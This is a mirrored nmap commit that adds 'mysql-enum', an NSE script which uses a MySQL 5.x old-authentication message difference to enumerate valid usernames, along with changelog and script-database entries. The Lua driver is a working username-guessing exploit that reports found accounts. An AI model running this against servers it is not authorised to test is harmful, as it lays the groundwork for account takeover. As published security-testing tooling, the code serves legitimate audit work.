1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 21:21:31 +00:00

Merged mysql-enum from my dev branch

This commit is contained in:
aca
2012-12-17 15:59:35 +00:00
parent 16d50c48da
commit d8dc00e0ed
3 changed files with 113 additions and 0 deletions

View File

@@ -1,5 +1,8 @@
# Nmap Changelog ($Id$); -*-text-*- # Nmap Changelog ($Id$); -*-text-*-
o [NSE] Added mysql-enum script which enumerates valid mysql server
usernames [Aleksandar Nikolic]
o [Nsock] Reworked the logging infrastructure to make it more flexible o [Nsock] Reworked the logging infrastructure to make it more flexible
and consistent. Updated nmap, nping and ncat accordingly. Nsock log level and consistent. Updated nmap, nping and ncat accordingly. Nsock log level
can now be adjusted at runtime by pressing d/D in nmap. can now be adjusted at runtime by pressing d/D in nmap.

109
scripts/mysql-enum.nse Normal file
View File

@@ -0,0 +1,109 @@
local brute = require "brute"
local creds = require "creds"
local mysql = require "mysql"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local openssl = stdnse.silent_require "openssl"
description = [[
Performs valid user enumeration against MySQL server.
Server version 5.x are succeptible to an user enumeration
attack due to different messages during login when using
old authentication mechanism from versions 4.x and earlier.
Original bug discovered and published by Kingcope:
http://seclists.org/fulldisclosure/2012/Dec/9
]]
---
-- @usage
-- nmap --script=mysql-enum <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 3306/tcp open mysql syn-ack
-- | mysql-enum:
-- | Accounts
-- | admin:<empty> - Valid credentials
-- | test:<empty> - Valid credentials
-- | test_mysql:<empty> - Valid credentials
-- | Statistics
-- |_ Performed 11 guesses in 1 seconds, average tps: 11
author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
portrule = shortport.port_or_service(3306, "mysql")
local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or 5
Driver = {
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect = function( self )
self.socket = nmap.new_socket()
local status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(tonumber(arg_timeout) * 1000)
if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err )
end
return true
end,
login = function (self, user, pass) -- pass is actually the username we want to try
local status, response = mysql.receiveGreeting(self.socket)
if(not(status)) then
if string.find(response,"is blocked because of many connection errors") then
local err = brute.Error:new( response )
err:setAbort( true )
return false, err
end
return false,brute.Error:new(response)
end
stdnse.print_debug( "Trying %s ...", pass)
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
status, response = self.socket:receive_bytes(0)
if not status then
return false,brute.Error:new( "Incorrect username" )
end
if string.find(response,"Access denied for user") == nil then
-- found it
return true, brute.Account:new( pass, nil, creds.State.VALID)
else
return false,brute.Error:new( "Incorrect username" )
end
end,
disconnect = function( self )
self.socket:close()
return true
end
}
action = function( host, port )
local status, result
local engine = brute.Engine:new(Driver, host, port)
engine.options:setOption("passonly", true )
engine:setPasswordIterator(brute.usernames_iterator())
engine.options.script_name = SCRIPT_NAME
engine.options:setTitle("Valid usernames")
status, result = engine:start()
return result
end

View File

@@ -275,6 +275,7 @@ Entry { filename = "mysql-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "mysql-databases.nse", categories = { "discovery", "intrusive", } } Entry { filename = "mysql-databases.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "mysql-dump-hashes.nse", categories = { "auth", "discovery", "safe", } } Entry { filename = "mysql-dump-hashes.nse", categories = { "auth", "discovery", "safe", } }
Entry { filename = "mysql-empty-password.nse", categories = { "auth", "intrusive", } } Entry { filename = "mysql-empty-password.nse", categories = { "auth", "intrusive", } }
Entry { filename = "mysql-enum.nse", categories = { "brute", "intrusive", } }
Entry { filename = "mysql-info.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "mysql-info.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "mysql-query.nse", categories = { "auth", "discovery", "safe", } } Entry { filename = "mysql-query.nse", categories = { "auth", "discovery", "safe", } }
Entry { filename = "mysql-users.nse", categories = { "auth", "intrusive", } } Entry { filename = "mysql-users.nse", categories = { "auth", "intrusive", } }